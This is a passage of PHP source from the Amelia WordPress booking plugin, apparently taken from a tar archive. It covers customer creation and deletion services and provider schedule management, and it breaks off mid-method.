AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingExtraRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\CustomerBookingEventPeriodRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventRepository; use AmeliaBooking\Infrastructure\Repository\Payment\PaymentRepository; use AmeliaBooking\Infrastructure\Repository\User\UserRepository; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class CustomerApplicationService * * @package AmeliaBooking\Application\Services\User */ class CustomerApplicationService { private $container; /** * CustomerApplicationService constructor. * * @param Container $container * * @throws \InvalidArgumentException */ public function __construct(Container $container) { $this->container = $container; } /** * @param array $fields * * @return CommandResult * @throws InvalidArgumentException * @throws QueryExecutionException */ public function createCustomer($fields) { $result = new CommandResult(); $user = UserFactory::create($fields); if (!$user instanceof AbstractUser) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not create a new user entity.'); return $result; } /** @var UserRepository $userRepository */ $userRepository = $this->container->get('domain.users.repository'); if ($oldUser = $userRepository->getByEmail($user->getEmail()->getValue())) { $result->setResult(CommandResult::RESULT_CONFLICT); $result->setMessage('Email already exist.'); $result->setData('This email is already in use.'); return $result; } $userRepository->beginTransaction(); if ($userId = $userRepository->add($user)) { $user->setId(new Id($userId)); if ($fields['externalId'] === 0) { /** @var UserApplicationService $userAS */ $userAS = $this->container->get('application.user.service'); $userAS->setWpUserIdForNewUser($userId, $user); } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully added new user.'); $result->setData( [ Entities::USER => $user->toArray() ] ); $userRepository->commit(); return $result; } $userRepository->rollback(); return $result; } /** * @param CustomerBooking $booking * @param AbstractUser $user * @param string $bookingToken * * @return boolean */ public function isCustomerBooking($booking, $user, $bookingToken) { $isValidToken = $bookingToken !== null && $bookingToken === $booking->getToken()->getValue(); $isValidUser = $user && $user->getId() && $user->getId()->getValue() === $booking->getCustomerId()->getValue(); if (!($isValidToken || $isValidUser)) { return false; } return true; } /** * @param Collection $bookings * @param AbstractUser $user * * @return boolean */ public function hasCustomerBooking($bookings, $user) { $isCustomerBooking = false; /** @var CustomerBooking $booking */ foreach ($bookings->getItems() as $booking) { if ($user && $user->getId()->getValue() === $booking->getCustomerId()->getValue()) { $isCustomerBooking = true; break; } } return $isCustomerBooking; } /** * Create a new user if doesn't exists. For adding appointment from the front-end. * * @param array $userData * @param CommandResult $result * * @return AbstractUser * * @throws InvalidArgumentException * @throws QueryExecutionException */ public function getNewOrExistingCustomer($userData, $result) { /** @var AbstractUser $user */ $loggedInUser = $this->container->get('logged.in.user'); if ($loggedInUser) { if ($loggedInUser->getType() === AbstractUser::USER_ROLE_ADMIN) { $userData['type'] = AbstractUser::USER_ROLE_CUSTOMER; $userData['externalId'] = null; } elseif ($loggedInUser->getType() === AbstractUser::USER_ROLE_MANAGER) { $userData['type'] = AbstractUser::USER_ROLE_MANAGER; } } $user = UserFactory::create($userData); /** @var UserRepository $userRepository */ $userRepository = $this->container->get('domain.users.repository'); // Check if email already exists $userWithSameMail = $userRepository->getByEmail($user->getEmail()->getValue()); if ($userWithSameMail) { /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); // If email already exists, check if First Name and Last Name from request are same with the First Name // and Last Name from $userWithSameMail. If these are not same return error message. if ($settingsService->getSetting('roles', 'inspectCustomerInfo') && (strtolower(trim($userWithSameMail->getFirstName()->getValue())) !== strtolower(trim($user->getFirstName()->getValue())) || strtolower(trim($userWithSameMail->getLastName()->getValue())) !== strtolower(trim($user->getLastName()->getValue()))) ) { $result->setResult(CommandResult::RESULT_ERROR); $result->setData(['emailError' => true]); } return $userWithSameMail; } return $user; } /** * @param AbstractUser $user * @param Collection $reservations * * @return void * * @throws InvalidArgumentException */ public function removeBookingsForOtherCustomers($user, $reservations) { $isCustomer = $user === null || ($user && $user->getType() === AbstractUser::USER_ROLE_CUSTOMER); /** @var AbstractBooking $reservation */ foreach ($reservations->getItems() as $reservation) { /** @var CustomerBooking $booking */ foreach ($reservation->getBookings()->getItems() as $key => $booking) { if ($isCustomer && (!$user || ($user && $user->getId()->getValue() !== $booking->getCustomerId()->getValue())) ) { $reservation->getBookings()->deleteItem($key); } } } } /** * @param Customer $customer * @param bool $isNewCustomer * * @return void * @throws ContainerException */ public function setWPUserForCustomer($customer, $isNewCustomer) { /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $createNewUser = $settingsService->getSetting('roles', 'automaticallyCreateCustomer'); if ($createNewUser && $isNewCustomer && $customer && $customer->getEmail()) { /** @var UserApplicationService $userAS */ $userAS = $this->container->get('application.user.service'); try { if ($customer->getExternalId()) { $userAS->setWpUserIdForExistingUser($customer->getId()->getValue(), $customer); } else { $userAS->setWpUserIdForNewUser($customer->getId()->getValue(), $customer); do_action('AmeliaCustomerWPCreated', $customer->toArray(), $this->container); } } catch (Exception $e) { } } if ($createNewUser && $customer && $customer->getExternalId()) { $customer->setExternalId(new Id($customer->getExternalId()->getValue())); } } /** * @param AbstractUser|Customer $customer * * @return boolean * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function delete($customer) { /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); /** @var CustomerBookingEventPeriodRepository $bookingEventPeriodRepository */ $bookingEventPeriodRepository = $this->container->get('domain.booking.customerBookingEventPeriod.repository'); /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var CustomerBookingExtraRepository $customerBookingExtraRepository */ $customerBookingExtraRepository = $this->container->get('domain.booking.customerBookingExtra.repository'); /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); /** @var UserRepository $userRepository */ $userRepository = $this->container->get('domain.users.repository'); /** @var PackageCustomerRepository $packageCustomerRepository */ $packageCustomerRepository = $this->container->get('domain.bookable.packageCustomer.repository'); /** @var PackageCustomerServiceRepository $packageCustomerServiceRepository */ $packageCustomerServiceRepository = $this->container->get('domain.bookable.packageCustomerService.repository'); /** @var PaymentApplicationService $paymentAS */ $paymentAS = $this->container->get('application.payment.service'); /** @var Collection $appointments */ $appointments = $appointmentRepository->getFiltered( [ 'customerId' => $customer->getId()->getValue() ] ); /** @var Appointment $appointment */ foreach ($appointments->getItems() as $appointment) { /** @var CustomerBooking $booking */ foreach ($appointment->getBookings()->getItems() as $bookingId => $booking) { if ($booking->getCustomer()->getId()->getValue() !== $customer->getId()->getValue()) { continue; } /** @var Collection $payments */ $payments = $paymentRepository->getByEntityId($bookingId, 'customerBookingId'); /** @var Payment $payment */ foreach ($payments->getItems() as $payment) { if (!$paymentAS->delete($payment)) { return false; } } if (!$customerBookingExtraRepository->deleteByEntityId($bookingId, 'customerBookingId') || !$bookingRepository->delete($bookingId) ) { return false; } } } /** @var Collection $packageCustomerCollection */ $packageCustomerCollection = $packageCustomerRepository->getByEntityId( $customer->getId()->getValue(), 'customerId' ); /** @var PackageCustomer $packageCustomer */ foreach ($packageCustomerCollection->getItems() as $packageCustomer) { /** @var Collection $payments */ $payments = $paymentRepository->getByEntityId( $packageCustomer->getId()->getValue(), 'packageCustomerId' ); /** @var Payment $payment */ foreach ($payments->getItems() as $payment) { if (!$paymentAS->delete($payment)) { return false; } } if (!$packageCustomerServiceRepository->deleteByEntityId( $packageCustomer->getId()->getValue(), 'packageCustomerId' ) || !$packageCustomerRepository->delete($packageCustomer->getId()->getValue()) ) { return false; } } /** @var Collection $events */ $events = $eventRepository->getFiltered( [ 'customerId' => $customer->getId()->getValue() ] ); /** @var Event $event */ foreach ($events->getItems() as $event) { /** @var CustomerBooking $booking */ foreach ($event->getBookings()->getItems() as $bookingId => $booking) { if ($booking->getCustomerId()->getValue() !== $customer->getId()->getValue()) { continue; } /** @var Collection $payments */ $payments = $paymentRepository->getByEntityId($booking->getId()->getValue(), 'customerBookingId'); /** @var Payment $payment */ foreach ($payments->getItems() as $payment) { if (!$paymentAS->delete($payment)) { return false; } } if (!$bookingEventPeriodRepository->deleteByEntityId($bookingId, 'customerBookingId') || !$bookingRepository->delete($bookingId) ) { return false; } } } return $userRepository->delete($customer->getId()->getValue()); } } Services/User/ProviderApplicationService.php 0000666 00000177651 15165412624 0015310 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\User; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Services\Booking\AppointmentApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Location\Location; use AmeliaBooking\Domain\Entity\Schedule\DayOff; use AmeliaBooking\Domain\Entity\Schedule\Period; use AmeliaBooking\Domain\Entity\Schedule\PeriodLocation; use AmeliaBooking\Domain\Entity\Schedule\PeriodService; use AmeliaBooking\Domain\Entity\Schedule\SpecialDay; use AmeliaBooking\Domain\Entity\Schedule\SpecialDayPeriod; use AmeliaBooking\Domain\Entity\Schedule\SpecialDayPeriodLocation; use AmeliaBooking\Domain\Entity\Schedule\SpecialDayPeriodService; use AmeliaBooking\Domain\Entity\Schedule\TimeOut; use AmeliaBooking\Domain\Entity\Schedule\WeekDay; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Entity\User\Provider; use AmeliaBooking\Domain\Factory\Bookable\Service\ServiceFactory; use AmeliaBooking\Domain\Factory\Location\ProviderLocationFactory; use AmeliaBooking\Domain\Factory\Schedule\PeriodLocationFactory; use AmeliaBooking\Domain\Factory\Schedule\SpecialDayPeriodLocationFactory; use AmeliaBooking\Domain\Factory\User\UserFactory; use AmeliaBooking\Domain\Repository\User\UserRepositoryInterface; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Interval\IntervalService; use AmeliaBooking\Domain\Services\Location\LocationService; use AmeliaBooking\Domain\Services\User\ProviderService; use AmeliaBooking\Domain\ValueObjects\Number\Integer\Id; use AmeliaBooking\Domain\ValueObjects\String\Password; use AmeliaBooking\Domain\ValueObjects\String\Status; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\PackageCustomerServiceRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\PackageServiceProviderRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ProviderServiceRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ResourceEntitiesRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ServiceRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventProvidersRepository; use AmeliaBooking\Infrastructure\Repository\Google\GoogleCalendarRepository; use AmeliaBooking\Infrastructure\Repository\Location\ProviderLocationRepository; use AmeliaBooking\Infrastructure\Repository\Outlook\OutlookCalendarRepository; use AmeliaBooking\Infrastructure\Repository\Schedule\DayOffRepository; use AmeliaBooking\Infrastructure\Repository\Schedule\PeriodLocationRepository; use AmeliaBooking\Infrastructure\Repository\Schedule\PeriodRepository; use AmeliaBooking\Infrastructure\Repository\Schedule\PeriodServiceRepository; use AmeliaBooking\Infrastructure\Repository\Schedule\SpecialDayPeriodLocationRepository; use AmeliaBooking\Infrastructure\Repository\Schedule\SpecialDayPeriodRepository; use AmeliaBooking\Infrastructure\Repository\Schedule\SpecialDayPeriodServiceRepository; use AmeliaBooking\Infrastructure\Repository\Schedule\SpecialDayRepository; use AmeliaBooking\Infrastructure\Repository\Schedule\TimeOutRepository; use AmeliaBooking\Infrastructure\Repository\Schedule\WeekDayRepository; use AmeliaBooking\Infrastructure\Repository\User\ProviderRepository; use AmeliaBooking\Infrastructure\Repository\User\UserRepository; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class ProviderApplicationService * * @package AmeliaBooking\Application\Services\User */ class ProviderApplicationService { private $container; /** * ProviderApplicationService constructor. * * @param Container $container * * @throws \InvalidArgumentException */ public function __construct(Container $container) { $this->container = $container; } /** * @param Provider $user * * @return int * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException */ public function add($user) { /** @var UserRepository $userRepository */ $userRepository = $this->container->get('domain.users.repository'); /** @var ProviderServiceRepository $providerServiceRepo */ $providerServiceRepo = $this->container->get('domain.bookable.service.providerService.repository'); /** @var ProviderLocationRepository $providerLocationRepo */ $providerLocationRepo = $this->container->get('domain.bookable.service.providerLocation.repository'); /** @var DayOffRepository $dayOffRepository */ $dayOffRepository = $this->container->get('domain.schedule.dayOff.repository'); /** @var WeekDayRepository $weekDayRepository */ $weekDayRepository = $this->container->get('domain.schedule.weekDay.repository'); /** @var TimeOutRepository $timeOutRepository */ $timeOutRepository = $this->container->get('domain.schedule.timeOut.repository'); /** @var PeriodRepository $periodRepository */ $periodRepository = $this->container->get('domain.schedule.period.repository'); /** @var PeriodServiceRepository $periodServiceRepository */ $periodServiceRepository = $this->container->get('domain.schedule.period.service.repository'); /** @var PeriodLocationRepository $periodLocationRepository */ $periodLocationRepository = $this->container->get('domain.schedule.period.location.repository'); /** @var SpecialDayRepository $specialDayRepository */ $specialDayRepository = $this->container->get('domain.schedule.specialDay.repository'); /** @var SpecialDayPeriodRepository $specialDayPeriodRepository */ $specialDayPeriodRepository = $this->container->get('domain.schedule.specialDay.period.repository'); /** @var SpecialDayPeriodServiceRepository $specialDayPeriodServiceRepository */ $specialDayPeriodServiceRepository = $this->container->get('domain.schedule.specialDay.period.service.repository'); /** @var SpecialDayPeriodLocationRepository $specialDayPeriodLocationRepository */ $specialDayPeriodLocationRepository = $this->container->get('domain.schedule.specialDay.period.location.repository'); $this->modifyPeriodsWithSingleLocationBeforePersist($user->getWeekDayList()); $this->modifyPeriodsWithSingleLocationBeforePersist($user->getSpecialDayList()); // add provider $userId = $userRepository->add($user); $user->setId(new Id($userId)); if ($user->getLocationId()) { $providerLocation = ProviderLocationFactory::create( [ 'userId' => $userId, 'locationId' => $user->getLocationId()->getValue() ] ); $providerLocationRepo->add($providerLocation); } /** * Add provider services */ foreach ((array)$user->getServiceList()->keys() as $key) { if (!($service = $user->getServiceList()->getItem($key)) instanceof Service) { throw new InvalidArgumentException('Unknown type'); } $providerServiceRepo->add($service, $user->getId()->getValue()); } // add provider day off foreach ((array)$user->getDayOffList()->keys() as $key) { if (!($providerDayOff = $user->getDayOffList()->getItem($key)) instanceof DayOff) { throw new InvalidArgumentException('Unknown type'); } $providerDayOffId = $dayOffRepository->add($providerDayOff, $user->getId()->getValue()); $providerDayOff->setId(new Id($providerDayOffId)); } // add provider week day / time out foreach ((array)$user->getWeekDayList()->keys() as $weekDayKey) { // add day work hours /** @var WeekDay $weekDay */ if (!($weekDay = $user->getWeekDayList()->getItem($weekDayKey)) instanceof WeekDay) { throw new InvalidArgumentException('Unknown type'); } $weekDayId = $weekDayRepository->add($weekDay, $user->getId()->getValue()); $weekDay->setId(new Id($weekDayId)); // add day time out values foreach ((array)$weekDay->getTimeOutList()->keys() as $timeOutKey) { /** @var TimeOut $timeOut */ if (!($timeOut = $weekDay->getTimeOutList()->getItem($timeOutKey)) instanceof TimeOut) { throw new InvalidArgumentException('Unknown type'); } $timeOutId = $timeOutRepository->add($timeOut, $weekDayId); $timeOut->setId(new Id($timeOutId)); } // add day period values foreach ((array)$weekDay->getPeriodList()->keys() as $periodKey) { /** @var Period $period */ if (!($period = $weekDay->getPeriodList()->getItem($periodKey)) instanceof Period) { throw new InvalidArgumentException('Unknown type'); } $periodId = $periodRepository->add($period, $weekDay->getId()->getValue()); foreach ((array)$period->getPeriodServiceList()->keys() as $periodServiceKey) { /** @var PeriodService $periodService */ $periodService = $period->getPeriodServiceList()->getItem($periodServiceKey); $periodServiceRepository->add($periodService, $periodId); } foreach ((array)$period->getPeriodLocationList()->keys() as $periodLocationKey) { /** @var PeriodLocation $periodLocation */ $periodLocation = $period->getPeriodLocationList()->getItem($periodLocationKey); $periodLocationRepository->add($periodLocation, $periodId); } } } foreach ((array)$user->getSpecialDayList()->keys() as $specialDayKey) { // add special day work hours /** @var SpecialDay $specialDay */ if (!($specialDay = $user->getSpecialDayList()->getItem($specialDayKey)) instanceof SpecialDay) { throw new InvalidArgumentException('Unknown type'); } $specialDayId = $specialDayRepository->add($specialDay, $user->getId()->getValue()); $specialDay->setId(new Id($specialDayId)); // add special day period values foreach ((array)$specialDay->getPeriodList()->keys() as $periodKey) { /** @var SpecialDayPeriod $period */ if (!($period = $specialDay->getPeriodList()->getItem($periodKey)) instanceof SpecialDayPeriod) { throw new InvalidArgumentException('Unknown type'); } $periodId = $specialDayPeriodRepository->add($period, $specialDay->getId()->getValue()); foreach ((array)$period->getPeriodServiceList()->keys() as $periodServiceKey) { /** @var SpecialDayPeriodService $periodService */ $periodService = $period->getPeriodServiceList()->getItem($periodServiceKey); $specialDayPeriodServiceRepository->add($periodService, $periodId); } foreach ((array)$period->getPeriodLocationList()->keys() as $periodLocationKey) { /** @var SpecialDayPeriodLocation $periodLocation */ $periodLocation = $period->getPeriodLocationList()->getItem($periodLocationKey); $specialDayPeriodLocationRepository->add($periodLocation, $periodId); } } } return $userId; } /** * @param array $fields * * @return CommandResult * @throws InvalidArgumentException * @throws QueryExecutionException * @throws ContainerException */ public function createProvider($fields, $bb = false) { /** @var UserApplicationService $userAS */ $userAS = $this->container->get('application.user.service'); /** @var ProviderRepository $providerRepository */ $providerRepository = $this->container->get('domain.users.providers.repository'); $result = new CommandResult(); /** @var Provider $user */ $user = UserFactory::create($fields); if (!($user instanceof AbstractUser)) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not create a new user entity.'); return $result; } if ($oldUser = $providerRepository->getByEmail($user->getEmail()->getValue())) { $result->setResult(CommandResult::RESULT_CONFLICT); $result->setMessage('Email already exist.'); $result->setData('This email is already in use.'); return $result; } $providerRepository->beginTransaction(); try { $userId = $this->add($user); if ($fields['externalId'] === 0) { $userAS->setWpUserIdForNewUser($userId, $user); } if (!empty($fields['password'])) { $newPassword = new Password($fields['password']); $providerRepository->updateFieldById($userId, $newPassword->getValue(), 'password'); } $user->setId(new Id($userId)); } catch (QueryExecutionException $e) { $providerRepository->rollback(); throw $e; } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully added new user.'); $result->setData( [ Entities::USER => $user->toArray(), 'sendEmployeePanelAccessEmail' => !empty($fields['password']) && $fields['sendEmployeePanelAccessEmail'], 'password' => !empty($fields['password']) ? $fields['password'] : null, ] ); $providerRepository->commit(); return $result; } /** * @param Provider $oldUser * @param Provider $newUser * * @return boolean * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws ContainerException */ public function update($oldUser, $newUser) { /** @var UserRepositoryInterface $userRepository */ $userRepository = $this->container->get('domain.users.repository'); $userRepository->update($oldUser->getId()->getValue(), $newUser); $this->updateProviderLocations($oldUser, $newUser); $this->updateProviderServices($newUser); $this->updateProviderDaysOff($oldUser, $newUser); $this->updateProviderWorkDays($oldUser, $newUser); $this->updateProviderSpecialDays($oldUser, $newUser); if ($newUser->getGoogleCalendar() && $newUser->getGoogleCalendar()->getId()) { $this->updateProviderGoogleCalendar($newUser); } if ($newUser->getOutlookCalendar() && $newUser->getOutlookCalendar()->getId()) { $this->updateProviderOutlookCalendar($newUser); } return true; } /** * Modify period for persist if there is only one location in period * * @param Collection $dayList * * @return void * @throws ContainerValueNotFoundException * @throws InvalidArgumentException */ public function modifyPeriodsWithSingleLocationBeforePersist($dayList) { /** @var WeekDay|SpecialDay $day */ foreach ($dayList->getItems() as $day) { /** @var Period|SpecialDayPeriod $period */ foreach ($day->getPeriodList()->getItems() as $period) { if ($period->getPeriodLocationList()->length() === 1) { /** @var PeriodLocation|SpecialDayPeriodLocation $periodLocation */ $periodLocation = $period->getPeriodLocationList()->getItem(0); $period->setLocationId(new Id($periodLocation->getLocationId()->getValue())); $period->getPeriodLocationList()->deleteItem(0); } elseif ($period->getPeriodLocationList()->length() === 0) { $period->setLocationId(new Id(0)); } else { /** @var PeriodLocation|SpecialDayPeriodLocation $periodLocation */ $periodLocation = $period->getPeriodLocationList()->getItem(0); $period->setLocationId(new Id($periodLocation->getLocationId()->getValue())); } } } } /** * Modify period after fetch if there is no locations in period and there is period location * * @param Collection $dayList * * @return void * @throws ContainerValueNotFoundException * @throws InvalidArgumentException */ public function modifyPeriodsWithSingleLocationAfterFetch($dayList) { /** @var WeekDay|SpecialDay $day */ foreach ($dayList->getItems() as $day) { /** @var Period|SpecialDayPeriod $period */ foreach ($day->getPeriodList()->getItems() as $period) { if ($period->getPeriodLocationList()->length() === 0 && $period->getLocationId()) { if ($period instanceof Period) { $period->getPeriodLocationList()->addItem( PeriodLocationFactory::create( [ 'locationId' => $period->getLocationId()->getValue(), ] ) ); } elseif ($period instanceof SpecialDayPeriod) { $period->getPeriodLocationList()->addItem( SpecialDayPeriodLocationFactory::create( [ 'locationId' => $period->getLocationId()->getValue(), ] ) ); } $period->setLocationId(new Id(0)); } } } } /** * Update provider week day / time out * * @param Provider $oldUser * @param Provider $newUser * * @return boolean * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException */ public function updateProviderWorkDays($oldUser, $newUser) { /** @var WeekDayRepository $weekDayRepository */ $weekDayRepository = $this->container->get('domain.schedule.weekDay.repository'); /** @var TimeOutRepository $timeOutRepository */ $timeOutRepository = $this->container->get('domain.schedule.timeOut.repository'); /** @var PeriodRepository $periodRepository */ $periodRepository = $this->container->get('domain.schedule.period.repository'); /** @var PeriodServiceRepository $periodServiceRepository */ $periodServiceRepository = $this->container->get('domain.schedule.period.service.repository'); /** @var PeriodLocationRepository $periodLocationRepository */ $periodLocationRepository = $this->container->get('domain.schedule.period.location.repository'); $this->modifyPeriodsWithSingleLocationBeforePersist($newUser->getWeekDayList()); $existingWeekDayIds = []; $existingTimeOutIds = []; $existingPeriodIds = []; $existingPeriodServicesIds = []; $existingPeriodLocationsIds = []; foreach ((array)$newUser->getWeekDayList()->keys() as $newUserWeekDayKey) { // add day work hours /** @var WeekDay $newWeekDay */ $newWeekDay = $newUser->getWeekDayList()->getItem($newUserWeekDayKey); // update week day if ID exist if ($newWeekDay->getId() && $newWeekDay->getId()->getValue()) { $weekDayRepository->update($newWeekDay, $newWeekDay->getId()->getValue()); } // add week day off if ID does not exist if (!$newWeekDay->getId()) { $newWeekDayId = $weekDayRepository->add($newWeekDay, $newUser->getId()->getValue()); $newWeekDay->setId(new Id($newWeekDayId)); } $existingWeekDayIds[$newWeekDay->getId()->getValue()] = true; $existingTimeOutIds[$newWeekDay->getId()->getValue()] = []; $existingPeriodIds[$newWeekDay->getId()->getValue()] = []; $existingPeriodServicesIds[$newWeekDay->getId()->getValue()] = []; $existingPeriodLocationsIds[$newWeekDay->getId()->getValue()] = []; // add day time out values foreach ((array)$newWeekDay->getTimeOutList()->keys() as $newTimeOutKey) { /** @var TimeOut $newTimeOut */ if (!($newTimeOut = $newWeekDay->getTimeOutList()->getItem($newTimeOutKey)) instanceof TimeOut) { throw new InvalidArgumentException('Unknown type'); } // update week day time out if ID exist if ($newTimeOut->getId() && $newTimeOut->getId()->getValue()) { $timeOutRepository->update($newTimeOut, $newTimeOut->getId()->getValue()); } // add week day time out if ID does not exist if (!$newTimeOut->getId()) { $newTimeOutId = $timeOutRepository->add($newTimeOut, $newWeekDay->getId()->getValue()); $newTimeOut->setId(new Id($newTimeOutId)); } $existingTimeOutIds[$newWeekDay->getId()->getValue()][$newTimeOut->getId()->getValue()] = true; } // add day period values foreach ((array)$newWeekDay->getPeriodList()->keys() as $newPeriodKey) { /** @var Period $newPeriod */ if (!($newPeriod = $newWeekDay->getPeriodList()->getItem($newPeriodKey)) instanceof Period) { throw new InvalidArgumentException('Unknown type'); } // update week day period if ID exist if ($newPeriod->getId() && $newPeriod->getId()->getValue()) { $periodRepository->update($newPeriod, $newPeriod->getId()->getValue()); $existingPeriodServicesIds[$newWeekDay->getId()->getValue()][$newPeriod->getId()->getValue()] = []; foreach ((array)$newPeriod->getPeriodServiceList()->keys() as $periodServiceKey) { /** @var PeriodService $periodService */ $periodService = $newPeriod->getPeriodServiceList()->getItem($periodServiceKey); if (!$periodService->getId()) { $periodServiceId = $periodServiceRepository->add( $periodService, $newPeriod->getId()->getValue() ); $periodService->setId(new Id($periodServiceId)); } $existingPeriodServicesIds[$newWeekDay->getId()->getValue()][$newPeriod->getId()->getValue()][$periodService->getId()->getValue()] = true; } $existingPeriodLocationsIds[$newWeekDay->getId()->getValue()][$newPeriod->getId()->getValue()] = []; foreach ((array)$newPeriod->getPeriodLocationList()->keys() as $periodLocationKey) { /** @var PeriodLocation $periodLocation */ $periodLocation = $newPeriod->getPeriodLocationList()->getItem($periodLocationKey); if (!$periodLocation->getId()) { $periodLocationId = $periodLocationRepository->add( $periodLocation, $newPeriod->getId()->getValue() ); $periodLocation->setId(new Id($periodLocationId)); } $existingPeriodLocationsIds[$newWeekDay->getId()->getValue()][$newPeriod->getId()->getValue()][$periodLocation->getId()->getValue()] = true; } } // add week day period if ID does not exist if (!$newPeriod->getId()) { $newPeriodId = $periodRepository->add($newPeriod, $newWeekDay->getId()->getValue()); $newPeriod->setId(new Id($newPeriodId)); foreach ((array)$newPeriod->getPeriodServiceList()->keys() as $periodServiceKey) { /** @var PeriodService $periodService */ $periodService = $newPeriod->getPeriodServiceList()->getItem($periodServiceKey); $periodServiceRepository->add($periodService, $newPeriodId); } foreach ((array)$newPeriod->getPeriodLocationList()->keys() as $periodLocationKey) { /** @var PeriodLocation $periodLocation */ $periodLocation = $newPeriod->getPeriodLocationList()->getItem($periodLocationKey); $periodLocationRepository->add($periodLocation, $newPeriodId); } } $existingPeriodIds[$newWeekDay->getId()->getValue()][$newPeriod->getId()->getValue()] = true; } } // delete week day time out and period if not exist in new week day time out list and period list foreach ((array)$oldUser->getWeekDayList()->keys() as $oldUserKey) { /** @var WeekDay $oldWeekDay */ if (!($oldWeekDay = $oldUser->getWeekDayList()->getItem($oldUserKey)) instanceof WeekDay) { throw new InvalidArgumentException('Unknown type'); } $oldWeekDayId = $oldWeekDay->getId()->getValue(); foreach ((array)$oldWeekDay->getTimeOutList()->keys() as $oldTimeOutKey) { if (!($oldTimeOut = $oldWeekDay->getTimeOutList()->getItem($oldTimeOutKey)) instanceof TimeOut) { throw new InvalidArgumentException('Unknown type'); } $oldTimeOutId = $oldTimeOut->getId()->getValue(); if (!isset($existingTimeOutIds[$oldWeekDayId][$oldTimeOutId])) { $timeOutRepository->delete($oldTimeOutId); } } foreach ((array)$oldWeekDay->getPeriodList()->keys() as $oldPeriodKey) { if (!($oldPeriod = $oldWeekDay->getPeriodList()->getItem($oldPeriodKey)) instanceof Period) { throw new InvalidArgumentException('Unknown type'); } $oldPeriodId = $oldPeriod->getId()->getValue(); foreach ((array)$oldPeriod->getPeriodServiceList()->keys() as $periodServiceKey) { $oldPeriodServiceId = $oldPeriod->getPeriodServiceList() ->getItem($periodServiceKey)->getId()->getValue(); if (!isset($existingPeriodServicesIds[$oldWeekDayId][$oldPeriodId][$oldPeriodServiceId])) { $periodServiceRepository->delete($oldPeriodServiceId); } } foreach ((array)$oldPeriod->getPeriodLocationList()->keys() as $periodLocationKey) { $oldPeriodLocationId = $oldPeriod->getPeriodLocationList() ->getItem($periodLocationKey)->getId()->getValue(); if (!isset($existingPeriodLocationsIds[$oldWeekDayId][$oldPeriodId][$oldPeriodLocationId])) { $periodLocationRepository->delete($oldPeriodLocationId); } } if (!isset($existingPeriodIds[$oldWeekDayId][$oldPeriodId])) { $periodRepository->delete($oldPeriodId); } } if (!isset($existingWeekDayIds[$oldWeekDayId])) { $weekDayRepository->delete($oldWeekDayId); } } return true; } /** * Update provider special day * * @param Provider $oldUser * @param Provider $newUser * * @return boolean * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException */ public function updateProviderSpecialDays($oldUser, $newUser) { /** @var SpecialDayRepository $specialDayRepository */ $specialDayRepository = $this->container->get('domain.schedule.specialDay.repository'); /** @var SpecialDayPeriodRepository $specialDayPeriodRepository */ $specialDayPeriodRepository = $this->container->get('domain.schedule.specialDay.period.repository'); /** @var SpecialDayPeriodServiceRepository $specialDayPeriodServiceRepository */ $specialDayPeriodServiceRepository = $this->container->get('domain.schedule.specialDay.period.service.repository'); /** @var SpecialDayPeriodLocationRepository $specialDayPeriodLocationRepository */ $specialDayPeriodLocationRepository = $this->container->get('domain.schedule.specialDay.period.location.repository'); $this->modifyPeriodsWithSingleLocationBeforePersist($newUser->getSpecialDayList()); $existingSpecialDayIds = []; $existingSpecialDayPeriodIds = []; $existingSpecialDayPeriodServicesIds = []; $existingSpecialDayPeriodLocationsIds = []; foreach ((array)$newUser->getSpecialDayList()->keys() as $newUserSpecialDayKey) { // add special day work hours /** @var SpecialDay $newSpecialDay */ $newSpecialDay = $newUser->getSpecialDayList()->getItem($newUserSpecialDayKey); // update special day if ID exist if ($newSpecialDay->getId() && $newSpecialDay->getId()->getValue()) { 